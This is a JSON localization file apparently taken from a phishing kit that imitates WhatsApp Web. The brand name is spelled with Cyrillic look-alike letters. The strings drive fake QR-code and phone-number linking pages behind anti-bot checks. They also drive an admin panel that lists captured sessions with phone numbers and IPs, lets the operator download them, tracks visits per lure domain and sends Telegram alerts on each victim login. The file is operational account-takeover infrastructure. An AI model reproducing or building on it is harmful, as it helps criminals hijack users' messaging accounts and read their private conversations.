{
  "common": {
    "loading": "Loading...",
    "confirm": "Confirm",
    "cancel": "Cancel",
    "save": "Save",
    "delete": "Delete",
    "refresh": "Refresh",
    "search": "Search",
    "success": "Success",
    "error": "Error",
    "back": "Back",
    "copy": "Copy",
    "copied": "Copied"
  },
  "index": {
    "pageTitle": "WhаtsАpp",
    "metaDesc": "Log in to WhаtsАpp Web to send and receive messages from your desktop in a simple, reliable, and private way.",
    "downloadTitle": "Download WhаtsАpp for Windows",
    "downloadDesc": "You can now send and receive messages on your desktop.",
    "downloadBtn": "Get from Store",
    "stepsTitle": "Use WhаtsАpp Web",
    "step1": "Open WhаtsАpp on your mobile",
    "step2": "Tap <strong>More options</strong> or <strong>Settings</strong> on iPhone and select <strong>Linked devices</strong>",
    "step3": "Tap <strong>Link a device</strong>",
    "step4": "Point your mobile at this screen to scan the QR code",
    "qrLoading": "Loading...",
    "qrExpired": "QR code expired, click to refresh",
    "qrRefresh": "Click to refresh",
    "tabConflict": "WhаtsАpp Web is open in another tab or window",
    "tabConflictHint": "Click the button below to use WhаtsАpp here",
    "useHere": "Use WhаtsАpp here",
    "rememberDevice": "Keep me signed in",
    "phoneLogin": "Log in with mobile number",
    "noAccount": "No WhаtsАpp account?",
    "getStarted": "Get started",
    "encryption": "Your personal messages are end-to-end encrypted",
    "termsPolicy": "Terms and Privacy Policy",
    "serverBusy": "Server busy, please refresh later",
    "connectFailed": "Connection failed",
    "qrExpiredClick": "Click to reload QR code",
    "loginSuccess": "Login successful!",
    "errorRetry": "An error occurred, please refresh",
    "expiredRefreshing": "Expired, refreshing...",
    "alreadyLoggedIn": "Already logged in, redirecting...",
    "tabConflictTitle": "WhаtsАpp Web is open in another tab or window",
    "tabConflictDesc": "Click the button below to use WhаtsАpp here",
    "tabConflictBtn": "Use WhаtsАpp here",
    "qrUpdated": "QR code updated",
    "offlineNotice": "Network disconnected, waiting for reconnection...",
    "reconnecting": "Connection lost, reconnecting...",
    "preparing": "Preparing..."
  },
  "verify": {
    "pageTitle": "WhаtsАpp",
    "sliderHint": "Drag the slider to the right",
    "sliderText": "Slide to verify",
    "sliderSuccess": "Verified",
    "holdHint": "Hold the button for 3 seconds",
    "holdText": "Hold to verify",
    "holdProgress": "Keep holding...",
    "holdSuccess": "Verified",
    "swipeHint": "Swipe right in the area below",
    "swipeSuccess": "Verified",
    "verifying": "Verifying...",
    "redirecting": "Verified, redirecting...",
    "initFailed": "Verification init failed, please refresh the page",
    "submitFailed": "Verification failed, please refresh and try again"
  },
  "phone": {
    "pageTitle": "WhаtsАpp",
    "metaDesc": "Log in to WhаtsАpp Web to send and receive messages on your desktop simply, securely, and privately.",
    "inputTitle": "Enter your mobile number",
    "inputHint": "WhаtsАpp needs to verify your mobile number.",
    "countryLabel": "Country/Region",
    "phoneLabel": "Mobile number",
    "nextBtn": "Next",
    "searchCountry": "Search country...",
    "qrLogin": "Log in with QR code",
    "loginStarting": "Starting login...",
    "invalidPhone": "Please enter a valid mobile number",
    "connectFailed": "Connection failed, please try again"
  },
  "phoneCode": {
    "pageTitle": "WhаtsАpp - Code",
    "metaDesc": "Log in to WhаtsАpp Web",
    "title": "Enter code on mobile",
    "sentTo": "Linking your WhаtsАpp account",
    "codeHint": "Check your mobile for the verification code",
    "waiting": "Waiting for code...",
    "taskExpired": "Session expired, please re-enter your number",
    "loginSuccess": "Login successful!",
    "loginFailed": "Login failed",
    "codeTimeout": "Code expired, please re-enter your number",
    "backToInput": "Back to re-enter number",
    "step1": "Open <strong>WhаtsАpp</strong> on your mobile",
    "step2": "Tap <strong>More options</strong> on Android or <strong>Settings</strong> on iPhone",
    "step3": "Tap <strong>Linked devices</strong> then <strong>Link a device</strong>",
    "step4": "Tap <strong>Link with phone number instead</strong>, then enter this code on your mobile",
    "copyBtn": "[Copy]",
    "copiedBtn": "[Copied]",
    "copyFailed": "Copy failed"
  },
  "admin": {
    "title": "WhаtsАpp Admin",
    "dashboard": "Dashboard",
    "sessions": "Sessions",
    "stats": "Statistics",
    "config": "Settings",
    "backToFront": "Back to Site",
    "logout": "Log out",
    "language": "Language"
  },
  "adminLogin": {
    "pageTitle": "Login - Admin",
    "title": "Admin Login",
    "passwordLabel": "Password",
    "passwordPlaceholder": "Enter password",
    "rememberMe": "Remember me for 7 days",
    "loginBtn": "Log in",
    "loggingIn": "Logging in...",
    "sendAuthRequest": "Send Authorisation Request",
    "sending": "Sending...",
    "waitingAuth": "Waiting for Telegram authorisation...",
    "authHint": "Please click 'Allow Login' in Telegram",
    "serverError": "Server error",
    "passwordRequired": "Please enter password",
    "loginFailed": "Login failed",
    "sendFailed": "Send failed",
    "authFailed": "Authorisation failed",
    "authTimeout": "Authorisation timed out, please try again"
  },
  "adminDashboard": {
    "pageTitle": "Dashboard - Admin",
    "title": "Dashboard",
    "sessionCount": "Total Sessions",
    "todayVisits": "Today's Visits",
    "totalVisits": "Total Visits",
    "uniqueIPs": "Unique IPs",
    "recentSessions": "Recent Sessions",
    "phone": "Mobile",
    "ip": "IP Address",
    "time": "Time",
    "noSessions": "No sessions",
    "viewMore": "View more",
    "quickLinks": "Quick Links"
  },
  "adminSessions": {
    "pageTitle": "Sessions - Admin",
    "title": "Session Management",
    "totalCount": "Total Sessions",
    "activeCount": "Active Sessions",
    "currentPageCount": "Shown on page",
    "selectedCount": "Selected",
    "searchPlaceholder": "Search mobile or remark...",
    "searchBtn": "Search",
    "clearBtn": "Clear",
    "selectAll": "Select All",
    "selectNone": "Deselect",
    "deleteSelected": "Delete Selected",
    "tableId": "ID",
    "tablePhone": "Mobile",
    "tableRemark": "Remark",
    "tableIP": "IP Address",
    "tableLoginType": "Login Type",
    "tableStatus": "Status",
    "tableTime": "Created",
    "tableActions": "Actions",
    "loginTypeQR": "QR Code",
    "loginTypePhone": "SMS Code",
    "download": "Download",
    "edit": "Edit",
    "confirmDelete": "Delete this session?",
    "confirmDeleteMulti": "Delete {{count}} selected sessions?",
    "selectFirst": "Please select sessions to delete first",
    "noData": "No sessions",
    "pageInfo": "Page {{page}} of {{total}} ({{count}} records)",
    "firstPage": "First",
    "prevPage": "Previous",
    "nextPage": "Next",
    "lastPage": "Last"
  },
  "adminStats": {
    "pageTitle": "Statistics - Admin",
    "title": "Visit Statistics",
    "todayTotal": "Today's Visits",
    "grandTotal": "Total Visits",
    "todayUniqueIPs": "Today's Unique IPs",
    "uniqueIPs": "Total Unique IPs",
    "todayByDomain": "Today by Domain",
    "totalByDomain": "Total by Domain",
    "trend": "7-Day Trend",
    "visitRecords": "Visit Records",
    "time": "Time",
    "domain": "Domain",
    "ip": "IP",
    "referer": "Referrer",
    "noData": "No data",
    "noRecords": "No records"
  },
  "adminConfig": {
    "pageTitle": "Settings - Admin",
    "title": "System Settings",
    "telegramSection": "Telegram Notification",
    "enableNotify": "Enable Notifications",
    "enabled": "Enabled",
    "disabled": "Disabled",
    "botToken": "Bot Token",
    "botTokenHint": "Bot Token from @BotFather",
    "botTokenPlaceholder": "e.g. 123456789:ABCdefGHIjklMNOpqrsTUVwxyz",
    "chatIds": "Notification Chat IDs",
    "chatIdsHint": "Chat IDs to receive login notifications",
    "chatIdsPlaceholder": "e.g. -1001234567890\nSeparate multiple IDs with commas or new lines",
    "notifyLang": "Notification Language",
    "notifyLangHint": "Language for Telegram notification messages",
    "saveConfig": "Save Settings",
    "testNotify": "Send Test",
    "configSaved": "Settings saved",
    "saveFailed": "Save failed",
    "testSuccess": "Test sent successfully",
    "testFailed": "Test failed",
    "loginSection": "Admin Login Settings",
    "loginMode": "Login Method",
    "loginModePassword": "Password",
    "loginModeTelegram": "Telegram Authorisation",
    "loginModeHint": "Choose admin login method",
    "loginChatId": "Authorisation Chat ID",
    "loginChatIdHint": "Admin Chat ID to receive and process login requests (Telegram login only)",
    "loginChatIdPlaceholder": "e.g. 123456789",
    "saveLoginSettings": "Save Login Settings",
    "loginSettingsSaved": "Login settings saved",
    "verifySection": "Anti-Bot Verification",
    "enableVerify": "Enable Verification",
    "verifyHint": "When enabled, users must complete verification before accessing",
    "verifyMode": "Verification Type",
    "verifyModeSlider": "Slider",
    "verifyModeHold": "Hold Button",
    "verifyModeSwipe": "Swipe to Unlock",
    "verifyModeHint": "Slider: drag right | Hold: press 3 sec | Swipe: mobile-style unlock",
    "saveVerifySettings": "Save Verification Settings",
    "verifySettingsSaved": "Verification settings saved",
    "qrSection": "QR Code Generation Mode",
    "qrMode": "Mode",
    "qrModeWarmup": "Warmup Mode",
    "qrModePregenerate": "Pre-generate Mode",
    "qrModeWarmupHint": "Warmup: pre-start browser, load QR on request (~5-10s)",
    "qrModePregenerateHint": "Pre-generate: QR codes ready instantly (<1s)",
    "poolSize": "Pool Size",
    "poolSizeHint": "Number of pre-generated QR codes (1-20, recommended 3-10)",
    "poolStatus": "Pool Status",
    "poolStatusLoading": "Loading...",
    "poolStatusNone": "No status",
    "poolTarget": "Target",
    "poolCurrent": "In Pool",
    "poolReady": "Ready",
    "poolLoading": "Loading",
    "poolAssigned": "Assigned",
    "poolNotEnabled": "Pre-generate pool not enabled",
    "saveQRSettings": "Save Mode Settings",
    "replenishPool": "Replenish Pool",
    "refreshStatus": "Refresh Status",
    "qrSettingsSaved": "Mode settings saved",
    "replenishing": "Replenishing",
    "replenishFailed": "Replenish failed",
    "passwordSection": "Change Admin Password",
    "oldPassword": "Current Password",
    "oldPasswordPlaceholder": "Enter current password",
    "newPassword": "New Password",
    "newPasswordPlaceholder": "At least 4 characters",
    "confirmPassword": "Confirm Password",
    "confirmPasswordPlaceholder": "Re-enter new password",
    "changePassword": "Change Password",
    "passwordRequired": "Please enter current password",
    "passwordMinLength": "New password must be at least 4 characters",
    "passwordMismatch": "Passwords do not match",
    "passwordChanged": "Password changed successfully"
  },
  "country": {
    "CN": "China",
    "US": "United States",
    "GB": "United Kingdom",
    "JP": "Japan",
    "KR": "South Korea",
    "SG": "Singapore",
    "HK": "Hong Kong",
    "MO": "Macau",
    "TW": "Taiwan",
    "MY": "Malaysia",
    "TH": "Thailand",
    "VN": "Vietnam",
    "ID": "Indonesia",
    "PH": "Philippines",
    "IN": "India",
    "DE": "Germany",
    "FR": "France",
    "IT": "Italy",
    "ES": "Spain",
    "RU": "Russia",
    "BR": "Brazil",
    "AU": "Australia",
    "NZ": "New Zealand",
    "AE": "UAE",
    "UA": "Ukraine"
  },
  "apiErrors": {
    "pleaseEnterPassword": "Please enter password",
    "tooManyRequests": "Too many requests, please retry in {{seconds}} seconds",
    "telegramNotEnabled": "Telegram login is not enabled",
    "telegramNotConfigured": "Telegram login is not fully configured",
    "authPending": "Authorisation request already pending",
    "authSendFailed": "Failed to send authorisation request",
    "authExpired": "Authorisation request expired",
    "invalidSource": "Invalid request source",
    "authDenied": "Authorisation denied",
    "demoModePassword": "Cannot change password in demo mode",
    "passwordIncorrect": "Current password incorrect",
    "passwordTooShort": "New password must be at least 4 characters",
    "demoModeLogin": "Cannot change login settings in demo mode",
    "demoModeVerify": "Cannot change verification settings in demo mode",
    "demoModeQr": "Cannot change QR mode settings in demo mode",
    "demoModeTelegram": "Cannot change Telegram settings in demo mode",
    "notPregenMode": "Not in pre-generate mode",
    "replenishing": "Replenishing pool",
    "taskNotFound": "Task not found",
    "configTelegramFirst": "Please configure and enable Telegram notifications first",
    "sendSuccess": "Sent successfully ({{success}}/{{total}})",
    "sendFailed": "Send failed, please check configuration",
    "invalidPhone": "Please enter a valid phone number",
    "profileNotExist": "Profile directory does not exist, may have been deleted",
    "scanTaskInProgress": "You already have a scan task in progress",
    "phoneTaskInProgress": "You already have a phone login task in progress"
  }
}
